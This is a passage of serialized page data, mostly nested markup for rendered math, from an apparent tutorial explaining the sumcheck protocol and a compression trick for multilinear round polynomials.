58,"props":110937,"children":110939},{"className":110938,"style":5711},[5710],[],{"type":24,"tag":158,"props":110941,"children":110943},{"className":110942},[5716,5717,5718,5719],[110944],{"type":24,"tag":158,"props":110945,"children":110947},{"className":110946},[5669,22832,5719],[110948],{"type":29,"value":1832},{"type":24,"tag":158,"props":110950,"children":110952},{"className":110951},[22989],[110953],{"type":29,"value":22992},{"type":24,"tag":158,"props":110955,"children":110957},{"className":110956},[5696],[110958],{"type":24,"tag":158,"props":110959,"children":110961},{"className":110960,"style":94408},[5701],[110962],{"type":24,"tag":158,"props":110963,"children":110964},{},[],{"type":24,"tag":158,"props":110966,"children":110968},{"className":110967},[22961],[110969],{"type":29,"value":504},{"type":24,"tag":158,"props":110971,"children":110973},{"className":110972,"style":96345},[5669,22832],[110974],{"type":29,"value":7783},{"type":24,"tag":158,"props":110976,"children":110978},{"className":110977},[22983],[110979],{"type":29,"value":521},{"type":29,"value":110981}," such that ",{"type":24,"tag":154,"props":110983,"children":110985},{"className":110984},[5642,5643],[110986],{"type":24,"tag":158,"props":110987,"children":110989},{"className":110988},[5648],[110990],{"type":24,"tag":158,"props":110991,"children":110993},{"className":110992,"ariaHidden":3185},[5653],[110994,111087],{"type":24,"tag":158,"props":110995,"children":110997},{"className":110996},[5658],[110998,111002,111059,111064,111069,111074,111078,111083],{"type":24,"tag":158,"props":110999,"children":111001},{"className":111000,"style":5771},[5663],[],{"type":24,"tag":158,"props":111003,"children":111005},{"className":111004},[5669],[111006,111011],{"type":24,"tag":158,"props":111007,"children":111009},{"className":111008,"style":94811},[5669,22832],[111010],{"type":29,"value":110576},{"type":24,"tag":158,"props":111012,"children":111014},{"className":111013},[5686],[111015],{"type":24,"tag":158,"props":111016,"children":111018},{"className":111017},[5691,22886],[111019,111048],{"type":24,"tag":158,"props":111020,"children":111022},{"className":111021},[5696],[111023,111043],{"type":24,"tag":158,"props":111024,"children":111026},{"className":111025,"style":94854},[5701],[111027],{"type":24,"tag":158,"props":111028,"children":111029},{"style":94858},[111030,111034],{"type":24,"tag":158,"props":111031,"children":111033},{"className":111032,"style":5711},[5710],[],{"type":24,"tag":158,"props":111035,"children":111037},{"className":111036},[5716,5717,5718,5719],[111038],{"type":24,"tag":158,"props":111039,"children":111041},{"className":111040},[5669,22832,5719],[111042],{"type":29,"value":1832},{"type":24,"tag":158,"props":111044,"children":111046},{"className":111045},[22989],[111047],{"type":29,"value":22992},{"type":24,"tag":158,"props":111049,"children":111051},{"className":111050},[5696],[111052],{"type":24,"tag":158,"props":111053,"children":111055},{"className":111054,"style":94408},[5701],[111056],{"type":24,"tag":158,"props":111057,"children":111058},{},[],{"type":24,"tag":158,"props":111060,"children":111062},{"className":111061},[22961],[111063],{"type":29,"value":504},{"type":24,"tag":158,"props":111065,"children":111067},{"className":111066},[5669],[111068],{"type":29,"value":5682},{"type":24,"tag":158,"props":111070,"children":111072},{"className":111071},[22983],[111073],{"type":29,"value":521},{"type":24,"tag":158,"props":111075,"children":111077},{"className":111076,"style":5751},[5750],[],{"type":24,"tag":158,"props":111079,"children":111081},{"className":111080},[5756],[111082],{"type":29,"value":728},{"type":24,"tag":158,"props":111084,"children":111086},{"className":111085,"style":5751},[5750],[],{"type":24,"tag":158,"props":111088,"children":111090},{"className":111089},[5658],[111091,111095,111152,111157,111162],{"type":24,"tag":158,"props":111092,"children":111094},{"className":111093,"style":5771},[5663],[],{"type":24,"tag":158,"props":111096,"children":111098},{"className":111097},[5669],[111099,111104],{"type":24,"tag":158,"props":111100,"children":111102},{"className":111101,"style":94811},[5669,22832],[111103],{"type":29,"value":110576},{"type":24,"tag":158,"props":111105,"children":111107},{"className":111106},[5686],[111108],{"type":24,"tag":158,"props":111109,"children":111111},{"className":111110},[5691,22886],[111112,111141],{"type":24,"tag":158,"props":111113,"children":111115},{"className":111114},[5696],[111116,111136],{"type":24,"tag":158,"props":111117,"children":111119},{"className":111118,"style":94854},[5701],[111120],{"type":24,"tag":158,"props":111121,"children":111122},{"style":94858},[111123,111127],{"type":24,"tag":158,"props":111124,"children":111126},{"className":111125,"style":5711},[5710],[],{"type":24,"tag":158,"props":111128,"children":111130},{"className":111129},[5716,5717,5718,5719],[111131],{"type":24,"tag":158,"props":111132,"children":111134},{"className":111133},[5669,22832,5719],[111135],{"type":29,"value":1832},{"type":24,"tag":158,"props":111137,"children":111139},{"className":111138},[22989],[111140],{"type":29,"value":22992},{"type":24,"tag":158,"props":111142,"children":111144},{"className":111143},[5696],[111145],{"type":24,"tag":158,"props":111146,"children":111148},{"className":111147,"style":94408},[5701],[111149],{"type":24,"tag":158,"props":111150,"children":111151},{},[],{"type":24,"tag":158,"props":111153,"children":111155},{"className":111154},[22961],[111156],{"type":29,"value":504},{"type":24,"tag":158,"props":111158,"children":111160},{"className":111159},[5669],[111161],{"type":29,"value":5672},{"type":24,"tag":158,"props":111163,"children":111165},{"className":111164},[22983],[111166],{"type":29,"value":521},{"type":29,"value":111168}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":154,"props":111170,"children":111172},{"className":111171},[5642,5643],[111173],{"type":24,"tag":158,"props":111174,"children":111176},{"className":111175},[5648],[111177],{"type":24,"tag":158,"props":111178,"children":111180},{"className":111179,"ariaHidden":3185},[5653],[111181],{"type":24,"tag":158,"props":111182,"children":111184},{"className":111183},[5658],[111185,111189],{"type":24,"tag":158,"props":111186,"children":111188},{"className":111187,"style":22827},[5663],[],{"type":24,"tag":158,"props":111190,"children":111192},{"className":111191,"style":94559},[5669,22832],[111193],{"type":29,"value":94562},{"type":29,"value":111195},", then they must lie about ",{"type":24,"tag":154,"props":111197,"children":111199},{"className":111198},[5642,5643],[111200],{"type":24,"tag":158,"props":111201,"children":111203},{"className":111202},[5648],[111204],{"type":24,"tag":158,"props":111205,"children":111207},{"className":111206,"ariaHidden":3185},[5653],[111208],{"type":24,"tag":158,"props":111209,"children":111211},{"className":111210},[5658],[111212,111217],{"type":24,"tag":158,"props":111213,"children":111216},{"className":111214,"style":111215},[5663],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":111218,"children":111220},{"className":111219},[5669],[111221,111226],{"type":24,"tag":158,"props":111222,"children":111224},{"className":111223,"style":94811},[5669,22832],[111225],{"type":29,"value":110576},{"type":24,"tag":158,"props":111227,"children":111229},{"className":111228},[5686],[111230],{"type":24,"tag":158,"props":111231,"children":111233},{"className":111232},[5691,22886],[111234,111263],{"type":24,"tag":158,"props":111235,"children":111237},{"className":111236},[5696],[111238,111258],{"type":24,"tag":158,"props":111239,"children":111241},{"className":111240,"style":94854},[5701],[111242],{"type":24,"tag":158,"props":111243,"children":111244},{"style":94858},[111245,111249],{"type":24,"tag":158,"props":111246,"children":111248},{"className":111247,"style":5711},[5710],[],{"type":24,"tag":158,"props":111250,"children":111252},{"className":111251},[5716,5717,5718,5719],[111253],{"type":24,"tag":158,"props":111254,"children":111256},{"className":111255},[5669,22832,5719],[111257],{"type":29,"value":1832},{"type":24,"tag":158,"props":111259,"children":111261},{"className":111260},[22989],[111262],{"type":29,"value":22992},{"type":24,"tag":158,"props":111264,"children":111266},{"className":111265},[5696],[111267],{"type":24,"tag":158,"props":111268,"children":111270},{"className":111269,"style":94408},[5701],[111271],{"type":24,"tag":158,"props":111272,"children":111273},{},[],{"type":29,"value":111275}," somewhere. But since the verifier picks a random ",{"type":24,"tag":154,"props":111277,"children":111279},{"className":111278},[5642,5643],[111280],{"type":24,"tag":158,"props":111281,"children":111283},{"className":111282},[5648],[111284],{"type":24,"tag":158,"props":111285,"children":111287},{"className":111286,"ariaHidden":3185},[5653],[111288],{"type":24,"tag":158,"props":111289,"children":111291},{"className":111290},[5658],[111292,111297],{"type":24,"tag":158,"props":111293,"children":111296},{"className":111294,"style":111295},[5663],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":111298,"children":111300},{"className":111299},[5669],[111301,111306],{"type":24,"tag":158,"props":111302,"children":111304},{"className":111303,"style":94325},[5669,22832],[111305],{"type":29,"value":95144},{"type":24,"tag":158,"props":111307,"children":111309},{"className":111308},[5686],[111310],{"type":24,"tag":158,"props":111311,"children":111313},{"className":111312},[5691,22886],[111314,111344],{"type":24,"tag":158,"props":111315,"children":111317},{"className":111316},[5696],[111318,111339],{"type":24,"tag":158,"props":111319,"children":111321},{"className":111320,"style":94854},[5701],[111322],{"type":24,"tag":158,"props":111323,"children":111325},{"style":111324},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111326,111330],{"type":24,"tag":158,"props":111327,"children":111329},{"className":111328,"style":5711},[5710],[],{"type":24,"tag":158,"props":111331,"children":111333},{"className":111332},[5716,5717,5718,5719],[111334],{"type":24,"tag":158,"props":111335,"children":111337},{"className":111336},[5669,22832,5719],[111338],{"type":29,"value":1832},{"type":24,"tag":158,"props":111340,"children":111342},{"className":111341},[22989],[111343],{"type":29,"value":22992},{"type":24,"tag":158,"props":111345,"children":111347},{"className":111346},[5696],[111348],{"type":24,"tag":158,"props":111349,"children":111351},{"className":111350,"style":94408},[5701],[111352],{"type":24,"tag":158,"props":111353,"children":111354},{},[],{"type":29,"value":111356},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":20134,"props":111358,"children":111360},{"id":111359},"the-compression-trick",[111361],{"type":29,"value":111362},"The Compression Trick",{"type":24,"tag":25,"props":111364,"children":111365},{},[111366,111368,111518,111520,111800],{"type":29,"value":111367},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":154,"props":111369,"children":111371},{"className":111370},[5642,5643],[111372],{"type":24,"tag":158,"props":111373,"children":111375},{"className":111374},[5648],[111376],{"type":24,"tag":158,"props":111377,"children":111379},{"className":111378,"ariaHidden":3185},[5653],[111380,111473,111500],{"type":24,"tag":158,"props":111381,"children":111383},{"className":111382},[5658],[111384,111388,111445,111450,111455,111460,111464,111469],{"type":24,"tag":158,"props":111385,"children":111387},{"className":111386,"style":5771},[5663],[],{"type":24,"tag":158,"props":111389,"children":111391},{"className":111390},[5669],[111392,111397],{"type":24,"tag":158,"props":111393,"children":111395},{"className":111394,"style":94811},[5669,22832],[111396],{"type":29,"value":110576},{"type":24,"tag":158,"props":111398,"children":111400},{"className":111399},[5686],[111401],{"type":24,"tag":158,"props":111402,"children":111404},{"className":111403},[5691,22886],[111405,111434],{"type":24,"tag":158,"props":111406,"children":111408},{"className":111407},[5696],[111409,111429],{"type":24,"tag":158,"props":111410,"children":111412},{"className":111411,"style":94854},[5701],[111413],{"type":24,"tag":158,"props":111414,"children":111415},{"style":94858},[111416,111420],{"type":24,"tag":158,"props":111417,"children":111419},{"className":111418,"style":5711},[5710],[],{"type":24,"tag":158,"props":111421,"children":111423},{"className":111422},[5716,5717,5718,5719],[111424],{"type":24,"tag":158,"props":111425,"children":111427},{"className":111426},[5669,22832,5719],[111428],{"type":29,"value":1832},{"type":24,"tag":158,"props":111430,"children":111432},{"className":111431},[22989],[111433],{"type":29,"value":22992},{"type":24,"tag":158,"props":111435,"children":111437},{"className":111436},[5696],[111438],{"type":24,"tag":158,"props":111439,"children":111441},{"className":111440,"style":94408},[5701],[111442],{"type":24,"tag":158,"props":111443,"children":111444},{},[],{"type":24,"tag":158,"props":111446,"children":111448},{"className":111447},[22961],[111449],{"type":29,"value":504},{"type":24,"tag":158,"props":111451,"children":111453},{"className":111452,"style":96345},[5669,22832],[111454],{"type":29,"value":7783},{"type":24,"tag":158,"props":111456,"children":111458},{"className":111457},[22983],[111459],{"type":29,"value":521},{"type":24,"tag":158,"props":111461,"children":111463},{"className":111462,"style":5848},[5750],[],{"type":24,"tag":158,"props":111465,"children":111467},{"className":111466},[5853],[111468],{"type":29,"value":1285},{"type":24,"tag":158,"props":111470,"children":111472},{"className":111471,"style":5848},[5750],[],{"type":24,"tag":158,"props":111474,"children":111476},{"className":111475},[5658],[111477,111482,111487,111491,111496],{"type":24,"tag":158,"props":111478,"children":111481},{"className":111479,"style":111480},[5663],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":111483,"children":111485},{"className":111484},[5669,22832],[111486],{"type":29,"value":101},{"type":24,"tag":158,"props":111488,"children":111490},{"className":111489,"style":5751},[5750],[],{"type":24,"tag":158,"props":111492,"children":111494},{"className":111493},[5756],[111495],{"type":29,"value":728},{"type":24,"tag":158,"props":111497,"children":111499},{"className":111498,"style":5751},[5750],[],{"type":24,"tag":158,"props":111501,"children":111503},{"className":111502},[5658],[111504,111508,111513],{"type":24,"tag":158,"props":111505,"children":111507},{"className":111506,"style":94240},[5663],[],{"type":24,"tag":158,"props":111509,"children":111511},{"className":111510},[5669,22832],[111512],{"type":29,"value":741},{"type":24,"tag":158,"props":111514,"children":111516},{"className":111515,"style":96345},[5669,22832],[111517],{"type":29,"value":7783},{"type":29,"value":111519}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":154,"props":111521,"children":111523},{"className":111522},[5642,5643],[111524],{"type":24,"tag":158,"props":111525,"children":111527},{"className":111526},[5648],[111528],{"type":24,"tag":158,"props":111529,"children":111531},{"className":111530,"ariaHidden":3185},[5653],[111532,111625,111718],{"type":24,"tag":158,"props":111533,"children":111535},{"className":111534},[5658],[111536,111540,111597,111602,111607,111612,111616,111621],{"type":24,"tag":158,"props":111537,"children":111539},{"className":111538,"style":5771},[5663],[],{"type":24,"tag":158,"props":111541,"children":111543},{"className":111542},[5669],[111544,111549],{"type":24,"tag":158,"props":111545,"children":111547},{"className":111546,"style":94811},[5669,22832],[111548],{"type":29,"value":110576},{"type":24,"tag":158,"props":111550,"children":111552},{"className":111551},[5686],[111553],{"type":24,"tag":158,"props":111554,"children":111556},{"className":111555},[5691,22886],[111557,111586],{"type":24,"tag":158,"props":111558,"children":111560},{"className":111559},[5696],[111561,111581],{"type":24,"tag":158,"props":111562,"children":111564},{"className":111563,"style":94854},[5701],[111565],{"type":24,"tag":158,"props":111566,"children":111567},{"style":94858},[111568,111572],{"type":24,"tag":158,"props":111569,"children":111571},{"className":111570,"style":5711},[5710],[],{"type":24,"tag":158,"props":111573,"children":111575},{"className":111574},[5716,5717,5718,5719],[111576],{"type":24,"tag":158,"props":111577,"children":111579},{"className":111578},[5669,22832,5719],[111580],{"type":29,"value":1832},{"type":24,"tag":158,"props":111582,"children":111584},{"className":111583},[22989],[111585],{"type":29,"value":22992},{"type":24,"tag":158,"props":111587,"children":111589},{"className":111588},[5696],[111590],{"type":24,"tag":158,"props":111591,"children":111593},{"className":111592,"style":94408},[5701],[111594],{"type":24,"tag":158,"props":111595,"children":111596},{},[],{"type":24,"tag":158,"props":111598,"children":111600},{"className":111599},[22961],[111601],{"type":29,"value":504},{"type":24,"tag":158,"props":111603,"children":111605},{"className":111604},[5669],[111606],{"type":29,"value":5682},{"type":24,"tag":158,"props":111608,"children":111610},{"className":111609},[22983],[111611],{"type":29,"value":521},{"type":24,"tag":158,"props":111613,"children":111615},{"className":111614,"style":5751},[5750],[],{"type":24,"tag":158,"props":111617,"children":111619},{"className":111618},[5756],[111620],{"type":29,"value":728},{"type":24,"tag":158,"props":111622,"children":111624},{"className":111623,"style":5751},[5750],[],{"type":24,"tag":158,"props":111626,"children":111628},{"className":111627},[5658],[111629,111633,111690,111695,111700,111705,111709,111714],{"type":24,"tag":158,"props":111630,"children":111632},{"className":111631,"style":5771},[5663],[],{"type":24,"tag":158,"props":111634,"children":111636},{"className":111635},[5669],[111637,111642],{"type":24,"tag":158,"props":111638,"children":111640},{"className":111639,"style":94811},[5669,22832],[111641],{"type":29,"value":110576},{"type":24,"tag":158,"props":111643,"children":111645},{"className":111644},[5686],[111646],{"type":24,"tag":158,"props":111647,"children":111649},{"className":111648},[5691,22886],[111650,111679],{"type":24,"tag":158,"props":111651,"children":111653},{"className":111652},[5696],[111654,111674],{"type":24,"tag":158,"props":111655,"children":111657},{"className":111656,"style":94854},[5701],[111658],{"type":24,"tag":158,"props":111659,"children":111660},{"style":94858},[111661,111665],{"type":24,"tag":158,"props":111662,"children":111664},{"className":111663,"style":5711},[5710],[],{"type":24,"tag":158,"props":111666,"children":111668},{"className":111667},[5716,5717,5718,5719],[111669],{"type":24,"tag":158,"props":111670,"children":111672},{"className":111671},[5669,22832,5719],[111673],{"type":29,"value":1832},{"type":24,"tag":158,"props":111675,"children":111677},{"className":111676},[22989],[111678],{"type":29,"value":22992},{"type":24,"tag":158,"props":111680,"children":111682},{"className":111681},[5696],[111683],{"type":24,"tag":158,"props":111684,"children":111686},{"className":111685,"style":94408},[5701],[111687],{"type":24,"tag":158,"props":111688,"children":111689},{},[],{"type":24,"tag":158,"props":111691,"children":111693},{"className":111692},[22961],[111694],{"type":29,"value":504},{"type":24,"tag":158,"props":111696,"children":111698},{"className":111697},[5669],[111699],{"type":29,"value":5672},{"type":24,"tag":158,"props":111701,"children":111703},{"className":111702},[22983],[111704],{"type":29,"value":521},{"type":24,"tag":158,"props":111706,"children":111708},{"className":111707,"style":5848},[5750],[],{"type":24,"tag":158,"props":111710,"children":111712},{"className":111711},[5853],[111713],{"type":29,"value":1285},{"type":24,"tag":158,"props":111715,"children":111717},{"className":111716,"style":5848},[5750],[],{"type":24,"tag":158,"props":111719,"children":111721},{"className":111720},[5658],[111722,111727],{"type":24,"tag":158,"props":111723,"children":111726},{"className":111724,"style":111725},[5663],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":158,"props":111728,"children":111730},{"className":111729},[5669],[111731,111736],{"type":24,"tag":158,"props":111732,"children":111734},{"className":111733,"style":94559},[5669,22832],[111735],{"type":29,"value":94562},{"type":24,"tag":158,"props":111737,"children":111739},{"className":111738},[5686],[111740],{"type":24,"tag":158,"props":111741,"children":111743},{"className":111742},[5691,22886],[111744,111788],{"type":24,"tag":158,"props":111745,"children":111747},{"className":111746},[5696],[111748,111783],{"type":24,"tag":158,"props":111749,"children":111751},{"className":111750,"style":94854},[5701],[111752],{"type":24,"tag":158,"props":111753,"children":111755},{"style":111754},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[111756,111760],{"type":24,"tag":158,"props":111757,"children":111759},{"className":111758,"style":5711},[5710],[],{"type":24,"tag":158,"props":111761,"children":111763},{"className":111762},[5716,5717,5718,5719],[111764],{"type":24,"tag":158,"props":111765,"children":111767},{"className":111766},[5669,5719],[111768,111773,111778],{"type":24,"tag":158,"props":111769,"children":111771},{"className":111770},[5669,22832,5719],[111772],{"type":29,"value":1832},{"type":24,"tag":158,"props":111774,"children":111776},{"className":111775},[5756,5719],[111777],{"type":29,"value":5730},{"type":24,"tag":158,"props":111779,"children":111781},{"className":111780},[5669,5719],[111782],{"type":29,"value":5672},{"type":24,"tag":158,"props":111784,"children":111786},{"className":111785},[22989],[111787],{"type":29,"value":22992},{"type":24,"tag":158,"props":111789,"children":111791},{"className":111790},[5696],[111792],{"type":24,"tag":158,"props":111793,"children":111796},{"className":111794,"style":111795},[5701],"height:0.2083em;",[111797],{"type":24,"tag":158,"props":111798,"children":111799},{},[],{"type":29,"value":111801}," (the previous claim), we have:",{"type":24,"tag":25,"props":111803,"children":111804},{},[111805],{"type":24,"tag":154,"props":111806,"children":111808},{"className":111807},[5642,5643],[111809],{"type":24,"tag":158,"props":111810,"children":111812},{"className":111811},[5648],[111813],{"type":24,"tag":158,"props":111814,"children":111816},{"className":111815,"ariaHidden":3185},[5653],[111817,111843,111874,111905,112006,112032,112124],{"type":24,"tag":158,"props":111818,"children":111820},{"className":111819},[5658],[111821,111825,111830,111834,111839],{"type":24,"tag":158,"props":111822,"children":111824},{"className":111823,"style":111480},[5663],[],{"type":24,"tag":158,"props":111826,"children":111828},{"className":111827},[5669,22832],[111829],{"type":29,"value":101},{"type":24,"tag":158,"props":111831,"children":111833},{"className":111832,"style":5751},[5750],[],{"type":24,"tag":158,"props":111835,"children":111837},{"className":111836},[5756],[111838],{"type":29,"value":728},{"type":24,"tag":158,"props":111840,"children":111842},{"className":111841,"style":5751},[5750],[],{"type":24,"tag":158,"props":111844,"children":111846},{"className":111845},[5658],[111847,111851,111856,111861,111865,111870],{"type":24,"tag":158,"props":111848,"children":111850},{"className":111849,"style":5771},[5663],[],{"type":24,"tag":158,"props":111852,"children":111854},{"className":111853},[22961],[111855],{"type":29,"value":504},{"type":24,"tag":158,"props":111857,"children":111859},{"className":111858},[5669,22832],[111860],{"type":29,"value":101},{"type":24,"tag":158,"props":111862,"children":111864},{"className":111863,"style":5751},[5750],[],{"type":24,"tag":158,"props":111866,"children":111868},{"className":111867},[5756],[111869],{"type":29,"value":728},{"type":24,"tag":158,"props":111871,"children":111873},{"className":111872,"style":5751},[5750],[],{"type":24,"tag":158,"props":111875,"children":111877},{"className":111876},[5658],[111878,111882,111887,111892,111896,111901],{"type":24,"tag":158,"props":111879,"children":111881},{"className":111880,"style":5771},[5663],[],{"type":24,"tag":158,"props":111883,"children":111885},{"className":111884},[5669,22832],[111886],{"type":29,"value":741},{"type":24,"tag":158,"props":111888,"children":111890},{"className":111889},[22983],[111891],{"type":29,"value":521},{"type":24,"tag":158,"props":111893,"children":111895},{"className":111894,"style":5848},[5750],[],{"type":24,"tag":158,"props":111897,"children":111899},{"className":111898},[5853],[111900],{"type":29,"value":1285},{"type":24,"tag":158,"props":111902,"children":111904},{"className":111903,"style":5848},[5750],[],{"type":24,"tag":158,"props":111906,"children":111908},{"className":111907},[5658],[111909,111913,111984,111988,111992,111998,112002],{"type":24,"tag":158,"props":111910,"children":111912},{"className":111911,"style":111725},[5663],[],{"type":24,"tag":158,"props":111914,"children":111916},{"className":111915},[5669],[111917,111922],{"type":24,"tag":158,"props":111918,"children":111920},{"className":111919,"style":94559},[5669,22832],[111921],{"type":29,"value":94562},{"type":24,"tag":158,"props":111923,"children":111925},{"className":111924},[5686],[111926],{"type":24,"tag":158,"props":111927,"children":111929},{"className":111928},[5691,22886],[111930,111973],{"type":24,"tag":158,"props":111931,"children":111933},{"className":111932},[5696],[111934,111968],{"type":24,"tag":158,"props":111935,"children":111937},{"className":111936,"style":94854},[5701],[111938],{"type":24,"tag":158,"props":111939,"children":111940},{"style":111754},[111941,111945],{"type":24,"tag":158,"props":111942,"children":111944},{"className":111943,"style":5711},[5710],[],{"type":24,"tag":158,"props":111946,"children":111948},{"className":111947},[5716,5717,5718,5719],[111949],{"type":24,"tag":158,"props":111950,"children":111952},{"className":111951},[5669,5719],[111953,111958,111963],{"type":24,"tag":158,"props":111954,"children":111956},{"className":111955},[5669,22832,5719],[111957],{"type":29,"value":1832},{"type":24,"tag":158,"props":111959,"children":111961},{"className":111960},[5756,5719],[111962],{"type":29,"value":5730},{"type":24,"tag":158,"props":111964,"children":111966},{"className":111965},[5669,5719],[111967],{"type":29,"value":5672},{"type":24,"tag":158,"props":111969,"children":111971},{"className":111970},[22989],[111972],{"type":29,"value":22992},{"type":24,"tag":158,"props":111974,"children":111976},{"className":111975},[5696],[111977],{"type":24,"tag":158,"props":111978,"children":111980},{"className":111979,"style":111795},[5701],[111981],{"type":24,"tag":158,"props":111982,"children":111983},{},[],{"type":24,"tag":158,"props":111985,"children":111987},{"className":111986,"style":5848},[5750],[],{"type":24,"tag":158,"props":111989,"children":111991},{"className":111990,"style":5848},[5750],[],{"type":24,"tag":158,"props":111993,"children":111995},{"className":111994},[5853],[111996],{"type":29,"value":111997},"⟹",{"type":24,"tag":158,"props":111999,"children":112001},{"className":112000,"style":5848},[5750],[],{"type":24,"tag":158,"props":112003,"children":112005},{"className":112004,"style":5848},[5750],[],{"type":24,"tag":158,"props":112007,"children":112009},{"className":112008},[5658],[112010,112014,112019,112023,112028],{"type":24,"tag":158,"props":112011,"children":112013},{"className":112012,"style":94240},[5663],[],{"type":24,"tag":158,"props":112015,"children":112017},{"className":112016},[5669,22832],[112018],{"type":29,"value":741},{"type":24,"tag":158,"props":112020,"children":112022},{"className":112021,"style":5848},[5750],[],{"type":24,"tag":158,"props":112024,"children":112026},{"className":112025},[5853],[112027],{"type":29,"value":1285},{"type":24,"tag":158,"props":112029,"children":112031},{"className":112030,"style":5848},[5750],[],{"type":24,"tag":158,"props":112033,"children":112035},{"className":112034},[5658],[112036,112040,112111,112115,112120],{"type":24,"tag":158,"props":112037,"children":112039},{"className":112038,"style":111725},[5663],[],{"type":24,"tag":158,"props":112041,"children":112043},{"className":112042},[5669],[112044,112049],{"type":24,"tag":158,"props":112045,"children":112047},{"className":112046,"style":94559},[5669,22832],[112048],{"type":29,"value":94562},{"type":24,"tag":158,"props":112050,"children":112052},{"className":112051},[5686],[112053],{"type":24,"tag":158,"props":112054,"children":112056},{"className":112055},[5691,22886],[112057,112100],{"type":24,"tag":158,"props":112058,"children":112060},{"className":112059},[5696],[112061,112095],{"type":24,"tag":158,"props":112062,"children":112064},{"className":112063,"style":94854},[5701],[112065],{"type":24,"tag":158,"props":112066,"children":112067},{"style":111754},[112068,112072],{"type":24,"tag":158,"props":112069,"children":112071},{"className":112070,"style":5711},[5710],[],{"type":24,"tag":158,"props":112073,"children":112075},{"className":112074},[5716,5717,5718,5719],[112076],{"type":24,"tag":158,"props":112077,"children":112079},{"className":112078},[5669,5719],[112080,112085,112090],{"type":24,"tag":158,"props":112081,"children":112083},{"className":112082},[5669,22832,5719],[112084],{"type":29,"value":1832},{"type":24,"tag":158,"props":112086,"children":112088},{"className":112087},[5756,5719],[112089],{"type":29,"value":5730},{"type":24,"tag":158,"props":112091,"children":112093},{"className":112092},[5669,5719],[112094],{"type":29,"value":5672},{"type":24,"tag":158,"props":112096,"children":112098},{"className":112097},[22989],[112099],{"type":29,"value":22992},{"type":24,"tag":158,"props":112101,"children":112103},{"className":112102},[5696],[112104],{"type":24,"tag":158,"props":112105,"children":112107},{"className":112106,"style":111795},[5701],[112108],{"type":24,"tag":158,"props":112109,"children":112110},{},[],{"type":24,"tag":158,"props":112112,"children":112114},{"className":112113,"style":5751},[5750],[],{"type":24,"tag":158,"props":112116,"children":112118},{"className":112117},[5756],[112119],{"type":29,"value":5730},{"type":24,"tag":158,"props":112121,"children":112123},{"className":112122,"style":5751},[5750],[],{"type":24,"tag":158,"props":112125,"children":112127},{"className":112126},[5658],[112128,112132,112137],{"type":24,"tag":158,"props":112129,"children":112131},{"className":112130,"style":95356},[5663],[],{"type":24,"tag":158,"props":112133,"children":112135},{"className":112134},[5669],[112136],{"type":29,"value":4789},{"type":24,"tag":158,"props":112138,"children":112140},{"className":112139},[5669,22832],[112141],{"type":29,"value":101},{"type":24,"tag":25,"props":112143,"children":112144},{},[112145,112147,112266,112268,112293],{"type":29,"value":112146},"So the prover only sends ",{"type":24,"tag":154,"props":112148,"children":112150},{"className":112149},[5642,5643],[112151],{"type":24,"tag":158,"props":112152,"children":112154},{"className":112153},[5648],[112155],{"type":24,"tag":158,"props":112156,"children":112158},{"className":112157,"ariaHidden":3185},[5653],[112159,112186],{"type":24,"tag":158,"props":112160,"children":112162},{"className":112161},[5658],[112163,112168,112173,112177,112182],{"type":24,"tag":158,"props":112164,"children":112167},{"className":112165,"style":112166},[5663],"height:0.4306em;",[],{"type":24,"tag":158,"props":112169,"children":112171},{"className":112170},[5669,22832],[112172],{"type":29,"value":101},{"type":24,"tag":158,"props":112174,"children":112176},{"className":112175,"style":5848},[5750],[],{"type":24,"tag":158,"props":112178,"children":112180},{"className":112179},[5853],[112181],{"type":29,"value":1285},{"type":24,"tag":158,"props":112183,"children":112185},{"className":112184,"style":5848},[5750],[],{"type":24,"tag":158,"props":112187,"children":112189},{"className":112188},[5658],[112190,112194,112251,112256,112261],{"type":24,"tag":158,"props":112191,"children":112193},{"className":112192,"style":5771},[5663],[],{"type":24,"tag":158,"props":112195,"children":112197},{"className":112196},[5669],[112198,112203],{"type":24,"tag":158,"props":112199,"children":112201},{"className":112200,"style":94811},[5669,22832],[112202],{"type":29,"value":110576},{"type":24,"tag":158,"props":112204,"children":112206},{"className":112205},[5686],[112207],{"type":24,"tag":158,"props":112208,"children":112210},{"className":112209},[5691,22886],[112211,112240],{"type":24,"tag":158,"props":112212,"children":112214},{"className":112213},[5696],[112215,112235],{"type":24,"tag":158,"props":112216,"children":112218},{"className":112217,"style":94854},[5701],[112219],{"type":24,"tag":158,"props":112220,"children":112221},{"style":94858},[112222,112226],{"type":24,"tag":158,"props":112223,"children":112225},{"className":112224,"style":5711},[5710],[],{"type":24,"tag":158,"props":112227,"children":112229},{"className":112228},[5716,5717,5718,5719],[112230],{"type":24,"tag":158,"props":112231,"children":112233},{"className":112232},[5669,22832,5719],[112234],{"type":29,"value":1832},{"type":24,"tag":158,"props":112236,"children":112238},{"className":112237},[22989],[112239],{"type":29,"value":22992},{"type":24,"tag":158,"props":112241,"children":112243},{"className":112242},[5696],[112244],{"type":24,"tag":158,"props":112245,"children":112247},{"className":112246,"style":94408},[5701],[112248],{"type":24,"tag":158,"props":112249,"children":112250},{},[],{"type":24,"tag":158,"props":112252,"children":112254},{"className":112253},[22961],[112255],{"type":29,"value":504},{"type":24,"tag":158,"props":112257,"children":112259},{"className":112258},[5669],[112260],{"type":29,"value":5682},{"type":24,"tag":158,"props":112262,"children":112264},{"className":112263},[22983],[112265],{"type":29,"value":521},{"type":29,"value":112267},", and the verifier recovers ",{"type":24,"tag":154,"props":112269,"children":112271},{"className":112270},[5642,5643],[112272],{"type":24,"tag":158,"props":112273,"children":112275},{"className":112274},[5648],[112276],{"type":24,"tag":158,"props":112277,"children":112279},{"className":112278,"ariaHidden":3185},[5653],[112280],{"type":24,"tag":158,"props":112281,"children":112283},{"className":112282},[5658],[112284,112288],{"type":24,"tag":158,"props":112285,"children":112287},{"className":112286,"style":94240},[5663],[],{"type":24,"tag":158,"props":112289,"children":112291},{"className":112290},[5669,22832],[112292],{"type":29,"value":741},{"type":29,"value":112294},". This saves 50% on 